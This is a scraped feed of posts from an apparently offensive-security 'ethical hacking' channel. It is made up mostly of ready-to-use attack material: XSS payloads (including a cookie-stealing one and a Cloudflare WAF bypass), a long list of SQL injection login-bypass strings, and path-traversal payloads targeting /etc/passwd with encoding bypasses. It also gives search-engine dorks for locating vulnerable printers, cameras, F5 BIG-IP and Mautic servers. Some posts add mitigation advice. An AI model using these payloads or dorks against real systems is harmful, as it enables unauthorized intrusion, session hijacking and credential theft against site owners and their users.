CyberSec Playground | Learn ethical hacking ⚡️

🚀 Top JavaScript Event Handlers for XSS Exploitation

When testing for Cross-Site Scripting (XSS), certain event handlers can be used to trigger payloads. Here’s a list of the most useful ones:

🎯 Mouse & Click Events:

🔹 onmouseover – Triggers when hovering over an element
🔹 onmousedown – Fires when mouse button is pressed
🔹 onmouseup – Fires when mouse button is released
🔹 onclick – Triggers when clicking on an element
🔹 ondblclick – Triggers when double-clicking

💥 Example XSS Payload:

<img src=x onerror=alert('XSS')>

🎯 Keyboard Events:

🔹 onkeydown – Fires when a key is pressed
🔹 onkeypress – Fires when a key is pressed and held
🔹 onkeyup – Fires when a key is released

💥 Example XSS Payload:

<input type="text" onfocus=alert("XSS")>

🎯 Form Events:

🔹 onsubmit – Triggers when a form is submitted
🔹 onreset – Fires when a form is reset
🔹 onfocus – Fires when an element gains focus
🔹 onblur – Fires when an element loses focus

💥 Example XSS Payload:

<form onsubmit=alert("XSS")>
  <input type="submit">
</form>

🎯 Media Events:

🔹 onerror – Triggers when an error occurs (🔥 Most common in XSS)
🔹 onload – Triggers when an element loads
🔹 onplay – Triggers when a video starts playing

💥 Example XSS Payload:

<img src="invalid.jpg" onerror=alert('XSS')>

🎯 Miscellaneous Events:

🔹 onhashchange – Fires when the URL hash changes
🔹 onmessage – Listens for messages (useful in CSP bypasses)
🔹 oncut, oncopy, onpaste – Triggers when interacting with clipboard

💥 Example XSS Payload:

<body onhashchange=alert('XSS')>

🔥 Pro Tip for Bug Bounty Hunters!

✅ Try event handlers in different HTML tags (e.g., <svg>, <iframe>, <input>)
✅ Test with various encoding methods (URL encoding, base64, HTML entities)
✅ Bypass filters by using double encoding or breaking syntax

📢 Stay updated with @cybersecplayground for XSS payloads, bug bounty tips, and hacking techniques!

#XSS #BugBounty #WebSecurity #CyberSecurity #EthicalHacking #Pentesting #Infosec

💊3⚡2🔥2

551 views06:32

CyberSec Playground | Learn ethical hacking ⚡️

🚀 Reflected XSS Found in a Popular VDP!

🔍 Vulnerability: A reflected Cross-Site Scripting (XSS) flaw was discovered in a well-known Vulnerability Disclosure Program (VDP).

🔥 Payload Used:

'});alert(document.cookie);</script>

🎯 How It Works?

✅ The application reflects unsanitized user input inside a JavaScript context.
✅ The payload breaks out of the existing script, injecting malicious JavaScript.
✅ The alert(document.cookie) function steals session cookies, leading to potential account takeover!

🛠 Steps to Reproduce:
1️⃣ Find a parameter that reflects user input inside a <script> tag.
2️⃣ Inject the payload:

target.com/search?q='});alert(document.cookie);</script>

3️⃣ If the page executes the JavaScript, XSS is successful! 🚀

🔒 How to Prevent?

✅ Use Content Security Policy (CSP) to block inline JavaScript execution.
✅ Sanitize user input before reflecting it in responses.
✅ Escape special characters to prevent breaking out of scripts.

📢 Follow @cybersecplayground for more bug bounty techniques, payloads, and hacking insights!

#XSS #BugBounty #CyberSecurity #VDP #WebSecurity #EthicalHacking #Pentesting

🔥6💊3

506 views20:04

CyberSec Playground | Learn ethical hacking ⚡️

🚀 Extract All Images from a Web Page

Want to quickly list all images on a website? Use this JavaScript snippet in your browser’s DevTools or as a bookmarklet to extract image URLs instantly!

🔥 JavaScript Code:

javascript:console.log('Images on this Page:\n' + Array.from(document.querySelectorAll('img')).map(img => img.src).join('\n'));

🎯 How It Works?

✅ document.querySelectorAll('img') selects all <img> elements on the page.
✅ .map(img => img.src) extracts the source URLs of the images.
✅ .join('\n') formats the output for easy readability in the console.

📌 How to Use?

1️⃣ Open the browser DevTools (F12 → Console).
2️⃣ Copy and paste the JavaScript code into the console.
3️⃣ Press Enter to list all image URLs on the page!

🔹 Bonus: Save it as a bookmarklet for quick access!
👉 Bookmark Name: Extract Images
👉 URL:

javascript:(function(){console.log('Images on this Page:\n' + Array.from(document.querySelectorAll('img')).map(img => img.src).join('\n'));})();

📢 Stay ahead in bug bounty & web scraping! Follow @cybersecplayground for more hacking tips & automation tricks!

#BugBounty #WebScraping #EthicalHacking #JavaScript #CyberSecurity

🔥4💊4

480 views05:35

CyberSec Playground | Learn ethical hacking ⚡️

🚀 Extract All Images from a Web Page Want to quickly list all images on a website? Use this JavaScript snippet in your browser’s DevTools or as a bookmarklet to extract image URLs instantly! 🔥 JavaScript Code: javascript:console.log('Images on this Page:\n'…

Here’s the upgraded script that extracts images (img), videos (mp4), JavaScript files (script), and links (a tags) from a webpage:

(() => {
    try {
        let media = [
            ...Array.from(document.querySelectorAll('img')).map((el, index) => `${index + 1}: [IMG] ${el.src}`),
            ...Array.from(document.querySelectorAll('video source')).map((el, index) => `${index + 1}: [MP4] ${el.src}`),
            ...Array.from(document.querySelectorAll('script[src]')).map((el, index) => `${index + 1}: [JS] ${el.src}`),
            ...Array.from(document.querySelectorAll('a[href]')).map((el, index) => `${index + 1}: [LINK] ${el.href}`)
        ].filter(src => src); // Remove empty src/href values

        if (media.length === 0) {
            console.log("No images, videos, JS files, or links found on this page.");
        } else {
            console.log("📸🎥📜🔗 Extracted Media & Links:\n" + media.join("\n"));
        }
    } catch (error) {
        console.error("Error extracting data:", error);
    }
})();

🔥 New Features:
✅ Extracts Images (img), MP4 Videos (video source), JavaScript Files (script[src]), and Links (a[href])
✅ Labels each entry as [IMG], [MP4], [JS], or [LINK] for easy identification
✅ Filters out empty values to avoid clutter
✅ Error handling ensures smooth execution

📢 Stay ahead in bug bounty & web scraping! Follow @cybersecplayground for more hacking tips & automation tricks!

#BugBounty #WebScraping #EthicalHacking #JavaScript #CyberSecurity

💊6👍3

611 views05:53

CyberSec Playground | Learn ethical hacking ⚡️

🚨 Alert: CVE-2024-12510 & CVE-2024-12511 🚨
Xerox Versalink Printers Vulnerable to Pass-Back Attacks – Credentials at Risk!

⚡️ Overview

Critical vulnerabilities have been identified in Xerox Versalink Printers, exposing them to Pass-Back Attacks. Attackers can intercept and reuse authentication credentials, potentially allowing lateral movement within networks.

🔥 PoC :
👉 Read Full Details & PoC

🔗 Hunter Search
Query:

product.name="Xerox Versalink"

📰 References:
Security Online Info
Security Week Report

📢 Stay updated with more cybersecurity alerts and insights:
👉 @cybersecplayground

#Xerox #Versalink #CVE2024 #Vulnerability #CyberSecurity #PassBackAttack #InfoSec #BugBounty #OSINT #PrinterSecurity

🔥7💊2

608 viewsedited 09:25

CyberSec Playground | Learn ethical hacking ⚡️

🚀 Pro Tip: Fuzzing HTTP Methods

❌ Common Mistake: Fuzzing with GET method only
✅ Better Approach: Fuzz with GET, POST, and PUT methods

💡 Why?
Some application routes and API endpoints accept only specific HTTP methods. By testing multiple methods, you increase your chances of uncovering hidden vulnerabilities.

🔍 Keep your fuzzing game strong! 💪

📢 Stay updated with more cybersecurity alerts and insights:
👉 @cybersecplayground

#BugBounty #WebSecurity #CyberSecurity #Fuzzing #APIHacking

🔥4💊3

685 views10:38

CyberSec Playground | Learn ethical hacking ⚡️

🚨 Authentication Bypass Payloads 🚨

🔑 Use these payloads to test for weak authentication checks and bypass login forms:

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

💡

Pro Tip: Try different quote types (', ") and comments (--, #, /* ... */) as applications handle them differently.

⚡️

Always test responsibly and within legal scopes.

🔥 For more daily tips, exploits, and bug bounty insights, join 👉 @cybersecplayground

#authbypass #bugbounty #infosec #cybersecurity #pentesting #SQLi

🔥5💊2

547 viewsedited 11:50

CyberSec Playground | Learn ethical hacking ⚡️

🚨 Alert: CVE-2025-26506 (CVSSv4 9.2) 🚨
HP Warns of Critical Security Flaw in LaserJet Printers

⚡️ Overview

A critical vulnerability has been discovered in HP LaserJet Printers, identified as CVE-2025-26506. The flaw has a CVSSv4 score of 9.2, which means it's a high-risk issue that could potentially lead to remote code execution (RCE) or unauthorized access to sensitive data.

This vulnerability affects HP LaserJet printers and LaserJet firmware, and it could be exploited by attackers to execute malicious code on affected devices, compromising sensitive data and network security.

🔗 Hunter Search - HP LaserJet Firmware

FOFA Query:

product="HP-LaserJet-Printer"

📰 References:
Security Online Info
HP Support Advisory

📢 Stay updated with more cybersecurity alerts and insights:
👉 @cybersecplayground

#CVE2025 #HP #LaserJet #RCE #BugBounty #CyberSecurity #InfoSec #Vulnerability #Pentesting #Firmware

🔥5💊2

586 views10:00

CyberSec Playground | Learn ethical hacking ⚡️

🚨🚨 HACKER ALERT: UBIQUITI UNIFI CAMERAS UNDER ATTACK!

⚠️ CVE-2025-23115: Remote Code Execution (RCE) = Total Camera Takeover!
⚠️ CVE-2025-23116: Auth Bypass via Auto-Adopt Bridge.

🔍 ZoomEye Dork:

app="Ubiquiti UniFi Protect"

3.2K+ Vulnerable Hits!

🔗 SHODAN Dork:

title:"UniFi Protect"

🔗 ZoomEye Search Link:
ZoomEye Link

📰 Details:
Read full details about these vulnerabilities and how hackers can hijack Ubiquiti UniFi Protect cameras:
🔗 Read More

📢 Stay updated with more security alerts and insights:
👉 @cybersecplayground

#CVE2025 #Ubiquiti #UniFiProtect #RCE #BugBounty #InfoSec #CyberSecurity #Vulnerability #RemoteCodeExecution

🔥5❤2💊2

545 views10:35

CyberSec Playground | Learn ethical hacking ⚡️

🚨 DeConfigro: WordPress Configuration Vulnerability Scanner 🚨

DeConfigro is a lightweight yet powerful tool designed to scan websites for a common WordPress vulnerability involving the wp-admin/setup-config.php?step=1 page. If this page is exposed and left open during the installation process, it can be a significant security risk.

📝 Features of DeConfigro:

⚡️Vulnerability Detection: Identifies exposed WordPress setup configuration pages that could be exploited.
⚡️Single URL & Bulk Scanning: Scan a single URL or bulk scan a list of URLs from a file.
⚡️Auto-Completion for File Paths: Automatically fills in file paths to streamline scanning.
⚡️Detailed Output: Clear, color-coded feedback about vulnerable URLs.
Save Results: Option to save vulnerable URLs for future reference.

🛠 Prerequisites:
👉🏻 Bash Shell (Linux, macOS, or WSL for Windows)
👉🏻 Curl (used to make HTTP requests)
👉🏻 Optional: Text editor for editing URL files

🔗 GitHub Repository:
DeConfigro GitHub Repo

⚠️ Disclaimer:

DeConfigro is intended for educational and research purposes only. It should not be used for malicious or unauthorized activity. Ensure compliance with local laws and regulations before using this tool.

📢 Stay updated with more tools, security research, and tips:
👉 @cybersecplayground

#BugBounty #CyberSecurity #WordPress #PenTesting #InfoSec #VulnerabilityScanner #DeConfigro #Security

🔥5💊2

636 viewsedited 06:13

CyberSec Playground | Learn ethical hacking ⚡️

🚨 [CRITICAL] WordPress Source Code Disclosure via Case Sensitivity Misconfig 🚨

🔍 Issue Summary:
A critical vulnerability arises when web servers mishandle case sensitivity in PHP file extensions, leading to source code disclosure in WordPress installations.

💥 Example:

❌ http://test.com/wp-config.php  → 403 Forbidden (Access Denied)  
⚡️ http://test.com/wp-config.PHP  → 200 OK (Source Code Exposed!)

🔍This exposes the wp-config.php file, leaking:

🗝 Database Credentials
🔒 Authentication Keys & Salts
💾 Table Prefixes
⚡️ Other Sensitive Configurations

🛡 How to Fix:
1️⃣ Enforce Case-Insensitive Handling

🔧 Apache (.htaccess)

<FilesMatch "wp-config\.php">
    Order Allow,Deny
    Deny from all
</FilesMatch>

🔧 Nginx

location ~* wp-config\.php {
    deny all;
}

2️⃣ Disable Directory Listing to prevent file browsing.

3️⃣ Harden PHP Config by disabling execution in sensitive directories.

4️⃣ Regular Security Audits to catch misconfigurations.

🕵️ Why This Matters:
A successful exploit grants attackers full access to your WordPress site's backend, allowing database dumps, credential theft, and complete takeover.

🔥 Stay Secure. Stay Ahead.
👉 For more real-time vulnerabilities, hacking techniques, and exclusive exploits, join our Telegram community:
💬 @cybersecplayground

#CyberSecurity #WordPress #SourceCodeDisclosure #WebSecurity #Pentesting #Hacking #BugBounty #CTF #cybersecplayground 🚀

🔥5💊2❤1

438 viewsedited 09:36

CyberSec Playground | Learn ethical hacking ⚡️

🔍 What is Path Traversal?
Path Traversal (also known as Directory Traversal) is a web application vulnerability that allows attackers to access files and directories that are stored outside the web root folder. By manipulating file path parameters, attackers can read sensitive files, execute arbitrary code, or even take full control of the server depending on the file accessed.

For example, accessing:

http://example.com/page.php?file=../../../../etc/passwd

could expose the /etc/passwd file on Unix systems, potentially revealing critical user information.

🔥 Common Payloads:

../../../../etc/passwd  
..%2f..%2f..%2f..%2fetc/passwd  
..%c0%af..%c0%afetc/passwd  
..%252e%252e%252fetc/passwd  
..\\..\\..\\..\\windows\\win.ini  (For Windows)

🛡 Bypass Methods:
Attackers often use clever techniques to bypass basic security filters:

🔸 Double URL Encoding:

..%252f..%252fetc/passwd

🔸Case Variation:

..%2F..%2Fetc/passwd

🔸 Null Byte Injection: (in legacy systems)

../../../../etc/passwd%00

🔸 Mixed Encodings:

..%c1%1c..%c1%1cetc/passwd

🔸 Alternative Path Separators:

..\..\..\..\windows\win.ini

These techniques attempt to trick the server into interpreting the request differently, allowing unauthorized file access.

🧪 Real-World Impact:

⚡️ Disclosure of sensitive information (e.g., database credentials in wp-config.php)
⚡️Gaining access to server-side code, enabling further attacks
⚡️Escalation to Remote Code Execution (RCE) if writable directories are accessible
🔗 GitHub Resource for More Payloads:
👉 Path Traversal Payloads Collection

💡 Stay Updated – Join @cybersecplayground for more insights on web security, vulnerabilities, and ethical hacking!

#infosec #websecurity #pentesting #pathtraversal #bugbounty #securitytesting

🔥5💊2👍1

605 viewsedited 09:51

CyberSec Playground | Learn ethical hacking ⚡️

🚀 Introducing Tookie-OSINT: Your Go-To Tool for Social Media Intelligence 🚀

🔍 What is Tookie-OSINT?
Tookie-OSINT is an advanced Open-Source Intelligence (OSINT) tool designed to uncover social media profiles using a single username input. With an accuracy rate of approximately 80%, Tookie-OSINT streamlines the process of mapping out an individual's digital footprint across various platforms.

💡 Key Features:
Comprehensive Search: Scans multiple social media platforms to locate associated accounts.
User-Friendly Interface: Simplifies the process of inputting usernames and retrieving results.
Open-Source and Free: Completely free to use and modify, fostering community collaboration.

🛠 Installation:
Tookie-OSINT is compatible with various operating systems, including macOS, Linux, Windows, and even Android devices via Termux. Here's a quick

installation guide for macOS/Linux:

git clone https://github.com/Alfredredbird/tookie-osint
cd tookie-osint && sudo pip install -r requirements.txt
python3 tookie-osint

For detailed installation instructions on other platforms, refer to the official installation guide.

🎯 How to Use:

Launch the tool:

python3 tookie-osint

When prompted, enter the desired username.

Choose from various options to customize your search.

For a step-by-step tutorial, check out the How-To Guide.

🔗 Learn More:

GitHub Repository: https://github.com/Alfredredbird/tookie-osint
Community Discussion: Reddit Thread

💡 Stay Updated – Join @cybersecplayground for more insights on web security, vulnerabilities, and ethical hacking!

#OSINT #CyberSecurity #InfoSec #SocialMedia #TookieOSINT #OpenSource #EthicalHacking #cybersecplayground

👏5💊2❤1🔥1

567 viewsedited 07:54

CyberSec Playground | Learn ethical hacking ⚡️

🚨 Understanding Open Redirect Attacks! 🚨

🔍 What is an Open Redirect?

An Open Redirect occurs when a web application accepts untrusted user input (such as a URL) and redirects the user to an external website without proper validation.
Attackers can exploit this to trick users into visiting malicious sites, steal personal data, or distribute malware. 💻🔒

How Does it Work?
1️⃣ URL Parameter: A vulnerable site might accept a "redirect" parameter like this:

https://example.com/redirect?url=http://victim-site.com

2️⃣ If the input isn’t validated, the attacker can modify the URL to redirect to any other site. For example:
https://example.com/redirect?url=http://malicious-site.com

3️⃣ Users unknowingly click on the link, thinking it’s a legitimate redirect, but instead, they’re sent to a phishing site or a malicious page.

Example Payload
👉

https://example.com/redirect?url=http://attacker-site.com

The payload redirects users to attacker-site.com, where they could be tricked into entering their login credentials or downloading harmful files.

How to Prevent Open Redirects?
✅ Validate URLs: Only allow redirects to trusted domains (e.g., your own site).
✅ Use Safe Redirection: Instead of passing arbitrary URLs, map user inputs to known URLs or a whitelist of safe destinations.
✅ Sanitize Input: Always sanitize user input to prevent malicious content from being executed.

💡 Pro Tip: Always double-check redirects, especially on user-generated links, to protect your users and your site’s security! 🔒

🔑 Want more tips and tricks on security?
Join us: 👉 @cybersecplayground

#OpenRedirect #WebSecurity #HackingTips #CyberSecurity #InfoSec #Pentesting #Exploit #EthicalHacking #OWASP #BugBounty #HackerCommunity #StaySafeOnline

👏4💊3❤1

761 views15:48

CyberSec Playground | Learn ethical hacking ⚡️

🚨 CVE-2025-20029: Critical Command Injection Vulnerability in F5 BIG-IP 🚨

📌 Vulnerability Overview:

A newly discovered command injection flaw (CVE-2025-20029) has been identified in F5 BIG-IP systems, posing a severe security risk. Exploiting this vulnerability allows an attacker to execute arbitrary commands on the system, potentially leading to full system compromise. This flaw is particularly dangerous as F5 BIG-IP is widely used in enterprise environments for traffic management, load balancing, and security.

🔍 Exposure:
🔹 Affected versions could allow remote attackers to gain control over critical infrastructure.

🔥 PoC & Exploit:
🔗 PoC: GitHub Repository

🛠 FOFA Query for Detection

app="f5-BIGIP"

🔗 FOFA Results: View Affected Instances

📖 More Details:
📰 Security Online Report

🔐 Mitigation:
✔️ Immediate patching is advised.
✔️ Restrict external access to management interfaces.
✔️ Monitor for suspicious activity in logs.

🔹 Join us for the latest cybersecurity updates!
📲 Telegram: @cybersecplayground

#CyberSecurity #InfoSec #CVE2025_20029 #F5BIGIP #EthicalHacking #Exploit #cybersecplayground 🚀

❤5💊2

862 views08:22

CyberSec Playground | Learn ethical hacking ⚡️

🚀 XSS Bug Bounty Methodology – Find & Exploit Cross-Site Scripting! 🚀

🔍 1. Recon 🕵️‍♂️
✔️ Identify input fields, URLs, and parameters 📝
✔️ Test GET & POST requests, headers, cookies 🍪
✔️ Look for WAF bypass opportunities 🚧

💉 2. Injection Points 🎯
✔️ HTML context:

<script>alert(1)</script> 🏹

✔️ Attribute context:

onerror=alert(1) 🎯

✔️ JavaScript context:

 'XSS'+alert(1) 🔥

✔️ Event handlers:

onclick=alert(1) ⚡️

✔️ JSON/XML:

{"payload":"<svg/onload=alert(1)>"} 📦

🎭 3. Bypasses & Filters 🚀
✔️ Encoding tricks: URL, HTML, Base64 🎭
✔️ Polyglots & WAF bypasses 🏴‍☠️
✔️ CSP bypass (check script-src) 🛡

🛠 4. Automation & Tools 🤖
✔️ Burp Suite 🦞 (Intruder, Repeater, Collaborator)
✔️ XSStrike 🏹
✔️ DalFox 🦊
✔️ XSS Hunter 🎯

📝 5. Reporting & Profit 💰
✔️ Clear PoC with impact explanation 📸
✔️ Show real-world exploitation risks ⚠️
✔️ Get that bounty! 💵

🔥 Happy hunting, bug bounty warriors! 🐞🎯

📢 Join us for the latest hacking methodologies & tools!
📲 Telegram: @cybersecplayground

#BugBounty #XSS #WebSecurity #EthicalHacking #InfoSec #CyberSecurity #cybersecplayground 🚀

🔥4💊3

596 views08:01

CyberSec Playground | Learn ethical hacking ⚡️

🚨 Critical Authentication Bypass Found on Apache Tomcat Instance! 🚨

🔍 Issue: An authentication bypass vulnerability was discovered on an Apache Tomcat instance, allowing unauthorized access to restricted endpoints.

📌 Findings:

https://example.target.com → Redirects to https://admin.target.com (NXDOMAIN)

https://example.target.com/debug → 401 Basic Auth (Restricted)

https://example.target.com/debug/ → 200 OK (Access Granted!)

⚡️ Possible Cause: Misconfigured authentication rules allowing access when a trailing slash (/) is present.

💡 Exploitation:
Attackers can directly access sensitive resources by appending / to restricted paths, bypassing authentication mechanisms.

🔧 Mitigation:
✔️ Properly enforce authentication on all directory variations.
✔️ Check .htaccess, Tomcat, and application-level security rules.
✔️ Monitor logs for unauthorized access attempts.

🔥 Stay updated on the latest vulnerabilities & exploitation techniques!
📢 Join us on Telegram: @cybersecplayground

#WebSecurity #AuthBypass #BugBounty #Pentesting #ApacheTomcat #CyberSecurity #cybersecplayground 🚀

🔥3🌭2💊2

476 views05:11

CyberSec Playground | Learn ethical hacking ⚡️

🚨 Critical Alert: CVE-2024-47051 (CVSS 9.1) – Mautic RCE & File Deletion Vulnerability 🚨

🔥 What is CVE-2024-47051?
A critical security flaw has been discovered in Mautic (before version 5.2.3) that allows:

Remote Code Execution (RCE):
Attackers can run arbitrary commands on the server.
Arbitrary File Deletion: Attackers can delete critical files, leading to system compromise or service disruption.

🎯 Impact & Risk
Widespread Exposure: Over 200,000 organizations rely on Mautic for marketing automation.
Public-Facing Instances: Many exposed instances are accessible on the internet, making them high-value targets.

Potential Consequences:
Full server takeover by exploiting RCE
Deletion of essential system files leading to denial of service (DoS)
Sensitive data leakage

🔍 Detection & Exploitation
📊 Hunter Exposure: 64K+ instances found on Hunter.

🔎 Dorks:

FOFA:

product="Mautic"

Hunter:

product.name="Mautic"

🛡 Mitigation & Fix
✅ Upgrade to Mautic 5.2.3+ immediately.
✅ Restrict access to Mautic instances using firewalls and authentication.
✅ Monitor logs for unusual activities or unauthorized access attempts.
✅ Use Web Application Firewalls (WAFs) to detect and block exploit attempts.

📰 References & More Info
🔗 SecurityOnline Info

📢 Join us for more security updates! 👉 @cybersecplayground

#Mautic #hunterhow #infosec #infosecurity #OSINT #Vulnerability #cybersecplayground 🚀

🔥5💊2

415 views05:54

CyberSec Playground | Learn ethical hacking ⚡️

🚀 Mastering Web Fuzzing: A Comprehensive Guide 🚀

Web fuzzing is a crucial technique for uncovering vulnerabilities in web applications, helping security researchers and bug hunters identify weak spots in targets. This methodology involves testing various inputs to discover hidden directories, parameters, subdomains, and misconfigurations.

🔥 Key Areas of Web Fuzzing
🔹 Directory Fuzzing – Find hidden files & directories using wordlists.
🔹 Page Fuzzing – Discover forgotten or misconfigured web pages.
🔹 Recursive Fuzzing – Go deeper into nested directories for extended enumeration.
🔹 DNS Records & Subdomain Fuzzing – Identify exposed subdomains & hidden services.
🔹 VHost Fuzzing – Find virtual hosts on shared hosting environments.
🔹 Filtering Results – Bypass false positives and focus on valid findings.
🔹 GET Parameter Fuzzing – Identify vulnerable GET parameters for injection attacks.
🔹 POST Parameter Fuzzing – Test POST-based inputs for hidden form fields.
🔹 Value Fuzzing – Manipulate input values to trigger unexpected behavior.
🔹 Skills Assessment – Improve your expertise with real-world fuzzing challenges.

🔍 Top Tools for Fuzzing
⚡️ ffuf – Fast and flexible web fuzzer.
⚡️ wfuzz – Great for testing web parameters and authentication.
⚡️ dirb / dirbuster – Directory enumeration tools.
⚡️ gobuster – Efficient brute-forcing for directories, DNS, and VHosts.
⚡️ subfinder / amass – Automated subdomain discovery.

🛡 Why It Matters?
Web fuzzing is a critical skill in penetration testing and bug hunting. Mastering it can help in finding security flaws like authentication bypasses, hidden admin panels, and injection vulnerabilities before attackers exploit them!

📢 Join us for more security insights! 👉 @cybersecplayground

#WebFuzzing #BugBounty #Pentesting #CyberSecurity #OSINT #Fuzzing #EthicalHacking 🚀

🔥5💊2

556 views16:40

CyberSec Playground | Learn ethical hacking ⚡️

🚨 Bypassing XSS Filters on Cloudflare 🚨

Advanced XSS payloads can evade security filters, including Cloudflare's WAF, by leveraging unconventional encoding, misused HTML elements, and JavaScript obfuscation techniques.

Payload:

<select><noembed></delect><script x='a@b'a>
y='a@b'//a@b%0a\u0061lert(1)</script x>

🔥 Bypass Payloads

🔹 Cloudflare Bypass Using Object Notation:

cloudFIare{};

🔹 Tag Manipulation to Evade Filters:

<select><noembed></delect><script x='a@b'a>

🔹 Breaking Context with Attribute Injection:

y='a@b'//a@b%0a\u0061lert(1)</script x>

⚡️ How It Works?
✅ Misusing less common HTML elements to trick parsers.
✅ Breaking JavaScript context by injecting escape sequences.
✅ Leveraging encoded characters (like \u0061lert) to avoid detection.
✅ WAF Evasion by chaining unexpected syntax structures.

🚀 XSS attacks remain one of the most sought-after bug bounty vulnerabilities! Understanding advanced bypass techniques increases your chance of discovering critical security flaws in protected applications.

💡 Stay ahead in bug bounty hunting! Join us for more security insights! 👉 @cybersecplayground

#infosec #cybersec #bugbountytips #XSS #BugBounty #WebSecurity #EthicalHacking 🚀

🔥6💊2

570 viewsedited 06:13

CyberSec Playground | Learn ethical hacking ⚡️

🚨 API Misconfiguration Leading to Source Code Disclosure! 🚨

🔎 Issue Discovered:
📌 Restricted API Path:

GET /api/ = 403

📌 Discovered File:

GET /api/test.php = 200 (Accessible)

🛠 Fuzzing Tips for Finding Exposed Files:

1️⃣ Directory Fuzzing – Use tools like ffuf, dirsearch, gobuster:

ffuf -u http://target.com/api/FUZZ -w wordlist.txt
dirsearch -u http://target.com/api/ -e php,txt,log,yaml

2️⃣ Filetype Enumeration – Common extensions to test:

.php .txt .log .yaml .bak .conf .old .swp

3️⃣ Look for Backup/Debug Files – Developers often leave behind test files with sensitive information.

🔥 Impact:
⚠️ Source Code Disclosure – The exposed file reveals database credentials and other sensitive configurations.
⚠️ Privilege Escalation – Attackers can use leaked credentials to gain deeper access.
⚠️ Potential RCE – If the file allows interaction with the system, it could lead to remote code execution.

🔍 Pro Tip: Always check for misconfigurations in API endpoints & debug files. This is a high-risk vulnerability that can lead to data breaches & system compromise!

💡 Stay updated with security insights & bug bounty tips! Join us 👉 @cybersecplayground

#BugBounty #API #Security #Fuzzing #EthicalHacking #Cybersecurity 🚀

🍓5💊2

621 views06:18

About

Blog

Apps

Platform